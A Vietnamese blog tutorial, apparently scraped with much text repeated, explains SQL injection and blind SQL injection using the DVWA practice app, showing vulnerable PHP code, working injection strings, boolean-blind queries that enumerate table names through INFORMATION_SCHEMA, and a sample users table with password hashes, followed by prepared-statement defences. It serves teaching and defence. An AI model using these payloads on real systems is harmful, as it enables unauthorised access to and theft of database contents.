1. NỘI DUNG
- Giới Thiệu
- SQL Injection
- SQL Injection Blind
- Cách Phòng Chống
- Các Bài Viết Liên Quan
2. GIỚI THIỆU
- SQL Injection chia làm 2 loại chính:
- SQL Injection
- SQL Injection (Blind)
- Trong các bài viết về Series Web Application Security sẽ sử dụng DVWA để có thể thấy rõ được cách thức tấn công và lỗ hổng .
- Trong DVWA có 4 cấp độ Security – được lưu trữ trong cookie : security
- imposible – với cấp độ này thì kẻ tấn công không thể nào tấn công được hệ thống
- high – khi thiết lập ở cấp độ này vẫn có thể tấn công vào hệ thống nhưng rất khó
- medium – mức độ security trung bình
- low – mức độ thấp nhất có thể hack một cách dễ dàng để có thể hiểu về các lỗ hổng. <các bài viết sẽ đề cập tới level này và level: imposible>
- SQL Injection chia làm 2 loại chính:
- SQL Injection
- SQL Injection (Blind)
- Trong các bài viết về Series Web Application Security sẽ sử dụng DVWA để có thể thấy rõ được cách thức tấn công và lỗ hổng .
- Trong DVWA có 4 cấp độ Security – được lưu trữ trong cookie : security
- imposible – với cấp độ này thì kẻ tấn công không thể nào tấn công được hệ thống
- high – khi thiết lập ở cấp độ này vẫn có thể tấn công vào hệ thống nhưng rất khó
- medium – mức độ security trung bình
- low – mức độ thấp nhất có thể hack một cách dễ dàng để có thể hiểu về các lỗ hổng. <các bài viết sẽ đề cập tới level này và level: imposible>
3. SQL INJECTION
- Kiểu tấn công nguy hiểm khi tiêm thêm dữ liệu đầu vào để liệt kê ra các dữ liệu không mong muốn đổ ra cho người dùng nhìn thấy.
- Database:
mysql> select * from users;
+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+
| 1 | admin | admin | admin | 7c6a180b36896a0a8c02787eeafb0e4c | http://webtest1.com/hackable/users/admin.jpg | 2016-12-29 08:19:09 | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | http://webtest1.com/hackable/users/gordonb.jpg | 2016-12-29 07:22:43 | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | http://webtest1.com/hackable/users/1337.jpg | 2016-12-29 07:22:43 | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://webtest1.com/hackable/users/pablo.jpg | 2016-12-29 07:22:43 | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | http://webtest1.com/hackable/users/smithy.jpg | 2016-12-29 07:22:43 | 0 |
+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+
5 rows in set (0.00 sec)
- Kiểu tấn công nguy hiểm khi tiêm thêm dữ liệu đầu vào để liệt kê ra các dữ liệu không mong muốn đổ ra cho người dùng nhìn thấy.
- Database:mysql> select * from users;+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+| 1 | admin | admin | admin | 7c6a180b36896a0a8c02787eeafb0e4c | http://webtest1.com/hackable/users/admin.jpg | 2016-12-29 08:19:09 | 0 || 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | http://webtest1.com/hackable/users/gordonb.jpg | 2016-12-29 07:22:43 | 0 || 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | http://webtest1.com/hackable/users/1337.jpg | 2016-12-29 07:22:43 | 0 || 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | http://webtest1.com/hackable/users/pablo.jpg | 2016-12-29 07:22:43 | 0 || 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | http://webtest1.com/hackable/users/smithy.jpg | 2016-12-29 07:22:43 | 0 |+————–+——————+—————–+————–+—————————————————+————————————————————————+——————————–+———————+5 rows in set (0.00 sec)
XEM XÉT LỖ HỔNG
- Trang web có chức năng hiển thị:
- Client nhập vào số ID và hiển thị ra các thông tin về người dùng như ID, First Name, Surname
- Một client bình thường thì sẽ không có vấn đề gì. Client sẽ chỉ nhập đúng những ID yêu cầu.
- Với level security low thì code kiểm tra ID như sau:
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
$result = mysql_query( $query ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, “first_name” );
$last = mysql_result( $result, $i, “last_name” );
// Feedback for end user
$html .= “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”;
// Increase loop count
$i++;
}
- Một Hacker ác ý có thể nhập một số chuỗi
- [10000′ OR ‘1’ = ‘1] như vậy câu Query trên nếu cộng thêm $id thì sẽ thành như sau:
$id=“10000′ OR ‘1’=’1”;
↓
SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;
↓
SELECT first_name, last_name FROM users WHERE user_id = ‘10000’ OR ‘1’=‘1’;
- Như vậy với câu SQL trên thì sau khi được thực hiện sẽ lấy ra hết cả first_name, last_name từ trong table users.
- Kết quả:
- Nếu thay đổi sang level cao hơn của DVWA: Level = high thì bên server:
// Check database
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’ LIMIT 1;”;
$result = mysql_query( $query ) or die( ‘<pre>Something went wrong.</pre>’ );
- Với level như trên thì khi nhập [10000′ OR ‘1’ = ‘1] -> câu query sẽ thành:
SELECT first_name, last_name FROM users WHERE user_id = ‘10000’ OR ‘1’=‘1’LIMIT 1;
- Trang web có chức năng hiển thị:
- Client nhập vào số ID và hiển thị ra các thông tin về người dùng như ID, First Name, Surname
- Một client bình thường thì sẽ không có vấn đề gì. Client sẽ chỉ nhập đúng những ID yêu cầu.
- Với level security low thì code kiểm tra ID như sau:$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;$result = mysql_query( $query ) or die( ‘<pre>’ . mysql_error() . ‘</pre>’ );// Get results$num = mysql_numrows( $result );$i = 0;while( $i < $num ) {// Get values$first = mysql_result( $result, $i, “first_name” );$last = mysql_result( $result, $i, “last_name” );// Feedback for end user$html .= “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”;// Increase loop count$i++;}
- Một Hacker ác ý có thể nhập một số chuỗi
- [10000′ OR ‘1’ = ‘1] như vậy câu Query trên nếu cộng thêm $id thì sẽ thành như sau:$id=“10000′ OR ‘1’=’1”;↓SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;↓SELECT first_name, last_name FROM users WHERE user_id = ‘10000’ OR ‘1’=‘1’;
- Như vậy với câu SQL trên thì sau khi được thực hiện sẽ lấy ra hết cả first_name, last_name từ trong table users.
- Kết quả:
- Nếu thay đổi sang level cao hơn của DVWA: Level = high thì bên server:// Check database$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’ LIMIT 1;”;$result = mysql_query( $query ) or die( ‘<pre>Something went wrong.</pre>’ );
- Với level như trên thì khi nhập [10000′ OR ‘1’ = ‘1] -> câu query sẽ thành:SELECT first_name, last_name FROM users WHERE user_id = ‘10000’ OR ‘1’=‘1’LIMIT 1;
- Như vậy cho dù lấy được dữ liệu ra nhưng không phải toàn bộ những dữ liệu của bảng users.
- Lúc này thử thay đổi đầu vào khi lợi dụng một số comment out của MYSQL:
- Dữ liệu nhập: [1000′ OR 1=1; — ‘] Query sẽ thành:
SELECT first_name, last_name FROM users WHERE user_id = ‘1000’ OR 1=1;— ‘ LIMIT 1;
- Vì sau dấu: [–] mọi thứ sẽ trở thành comment của đoạn query nên nó không có ý nghĩa. Và với đoạn mã trên làm cho lỗ hổng SQL Injection vẫn có thể lợi dụng được.
-
- Như vậy cho dù lấy được dữ liệu ra nhưng không phải toàn bộ những dữ liệu của bảng users.
- Lúc này thử thay đổi đầu vào khi lợi dụng một số comment out của MYSQL:
- Dữ liệu nhập: [1000′ OR 1=1; — ‘] Query sẽ thành:SELECT first_name, last_name FROM users WHERE user_id = ‘1000’ OR 1=1;— ‘ LIMIT 1;
- Vì sau dấu: [–] mọi thứ sẽ trở thành comment của đoạn query nên nó không có ý nghĩa. Và với đoạn mã trên làm cho lỗ hổng SQL Injection vẫn có thể lợi dụng được.
4. SQL INJECTION BLIND
- Đây là một kiểu tấn công hết sức kỳ công. Cũng dựa trên lỗ hổng về SQL và để mò mẫm dữ liệu. Có một số Web Application chỉ đưa ra thông báo lỗi và kẻ tấn công dựa vào đó hỏi database những câu hỏi kiểu dạng Đúng, Sai để có thể tìm được dữ liệu của DataBase. Vì câu hỏi Đúng Sai cần rất nhiều mới biết được câu trả lời nên kiểu tấn công này rất kỳ công, khó nhưng vẫn có thể xảy ra.
- Xem xét lỗ hổng
- Trang web hiển thị: DVWA: SQL Injection (Blind) – security level: low
-
- Trong ví dụ trên thì hệ thống Web Application cung cấp một chức năng kiểm tra userID có tồn tại hay không. Nếu có dữ liệu thì trả về message: ‘User ID exists in the database‘ ngược lại trả về: ‘User ID is MISSING from the database‘
- Để kiểm tra chức năng trên có thể khai thác lỗ hổng SQL Injection Blind không thì thử nhập với chuỗi sau: [1000′ OR 1 = 1 — ] và dự đoán kết quả sẽ như sau:
-
- Như vậy dù nhập dữ liệu UserID ko có trong Database thì câu trả lời vẫn là có. Như vậy chức năng trên có thể lợi dụng để kiểm tra SQL Injection Blind.
- Câu hỏi để hỏi database trong SQL Injection Blind thường là [ {true query} AND {check query}]. Ví dụ như câu hỏi SQL ở trên, đã có UserID=1 rồi nên có hỏi database như sau:[1′ AND (SELECT user_id FROM users where user_id<10 LIMIT 1)>0 — ] hoặc [1′ AND (SELECT user_id FROM users where user_id>=10 LIMIT 1)>0 –]. Với câu hỏi database như trên. Nếu cái nào trả về true thì có thể đoán được là user_id
-
- Như kết quả từ cách thử trên thì đoán được user_id của bảng users chỉ có giá trị nhỏ hơn 10. Nhưng ở đây Hacker làm sao biết được có những bảng nào với trường nào? Chả lẽ chịu thua? Một cách thức khác dựa vào đây có thể đoán được cấu trúc database, table, column. Ví dụ
1‘ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>’u‘ LIMIT 1), 1,1)))>116 —
1′ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>‘u’ LIMIT 1), 1,1)))<118 —
1‘ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>’u‘ LIMIT 1), 1,1)))=116 —
- Với câu hỏi trên với database ta có thể biết được có 1 table có tên bắt đầu bằng chữ ‘u’, để kiểm tra có table tên usser, có column tên usser_id hay không? thì hacker sẽ tốn khá nhiều time để thử.
- Nhưng sau khi thử xong và có thể dựa vào câu hỏi đúng sai có thể tìm được account, password, các thông tin muốn trộm cắp… một cách dễ dàng – chỉ tội mất time
- Đây là một kiểu tấn công hết sức kỳ công. Cũng dựa trên lỗ hổng về SQL và để mò mẫm dữ liệu. Có một số Web Application chỉ đưa ra thông báo lỗi và kẻ tấn công dựa vào đó hỏi database những câu hỏi kiểu dạng Đúng, Sai để có thể tìm được dữ liệu của DataBase. Vì câu hỏi Đúng Sai cần rất nhiều mới biết được câu trả lời nên kiểu tấn công này rất kỳ công, khó nhưng vẫn có thể xảy ra.
- Xem xét lỗ hổng
- Trang web hiển thị: DVWA: SQL Injection (Blind) – security level: low
- Trong ví dụ trên thì hệ thống Web Application cung cấp một chức năng kiểm tra userID có tồn tại hay không. Nếu có dữ liệu thì trả về message: ‘User ID exists in the database‘ ngược lại trả về: ‘User ID is MISSING from the database‘
- Để kiểm tra chức năng trên có thể khai thác lỗ hổng SQL Injection Blind không thì thử nhập với chuỗi sau: [1000′ OR 1 = 1 — ] và dự đoán kết quả sẽ như sau:
- Như vậy dù nhập dữ liệu UserID ko có trong Database thì câu trả lời vẫn là có. Như vậy chức năng trên có thể lợi dụng để kiểm tra SQL Injection Blind.
- Câu hỏi để hỏi database trong SQL Injection Blind thường là [ {true query} AND {check query}]. Ví dụ như câu hỏi SQL ở trên, đã có UserID=1 rồi nên có hỏi database như sau:[1′ AND (SELECT user_id FROM users where user_id<10 LIMIT 1)>0 — ] hoặc [1′ AND (SELECT user_id FROM users where user_id>=10 LIMIT 1)>0 –]. Với câu hỏi database như trên. Nếu cái nào trả về true thì có thể đoán được là user_id
- Như kết quả từ cách thử trên thì đoán được user_id của bảng users chỉ có giá trị nhỏ hơn 10. Nhưng ở đây Hacker làm sao biết được có những bảng nào với trường nào? Chả lẽ chịu thua? Một cách thức khác dựa vào đây có thể đoán được cấu trúc database, table, column. Ví dụ1‘ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>’u‘ LIMIT 1), 1,1)))>116 —1′ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>‘u’ LIMIT 1), 1,1)))<118 —1‘ AND ascii(lower(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_NAME>’u‘ LIMIT 1), 1,1)))=116 —
- Với câu hỏi trên với database ta có thể biết được có 1 table có tên bắt đầu bằng chữ ‘u’, để kiểm tra có table tên usser, có column tên usser_id hay không? thì hacker sẽ tốn khá nhiều time để thử.
- Nhưng sau khi thử xong và có thể dựa vào câu hỏi đúng sai có thể tìm được account, password, các thông tin muốn trộm cắp… một cách dễ dàng – chỉ tội mất time
- Như kết quả từ cách thử trên thì đoán được user_id của bảng users chỉ có giá trị nhỏ hơn 10. Nhưng ở đây Hacker làm sao biết được có những bảng nào với trường nào? Chả lẽ chịu thua? Một cách thức khác dựa vào đây có thể đoán được cấu trúc database, table, column. Ví dụ
5. CÁCH PHÒNG CHỐNG
- Nguyên Nhân Bị mắc lỗi SQL Injection.
- Do lỗi developer tạo SQL Query bằng cách cộng chuỗi thông thường.$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
- Do việc thông báo lỗi đúng sai khi query một query. – SQL Injection Blind
- Do việc không xử lý input đầu vào từ bên client ở trên server side.
- Do lỗi developer tạo SQL Query bằng cách cộng chuỗi thông thường.
- Cách phòng chống
- Dùng SQL_PlaceHolder thay vì cộng chuỗi thông thường:$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;’ );$data->bindParam( ‘:id’, $id, PDO::PARAM_INT );$data->execute();
- Không đưa ra thông báo lỗi liên quan đến database khi thực hiện query sai
- Không bao giờ tin tưởng input của client.
- Dùng SQL_PlaceHolder thay vì cộng chuỗi thông thường:
- Một trang web đang hoạt động bị gặp SQL – Innjection: Chú ý nội dung chỉ để tham khảo. Trang web đó đã fixed nên đừng cố thử
0 nhận xét:
Đăng nhận xét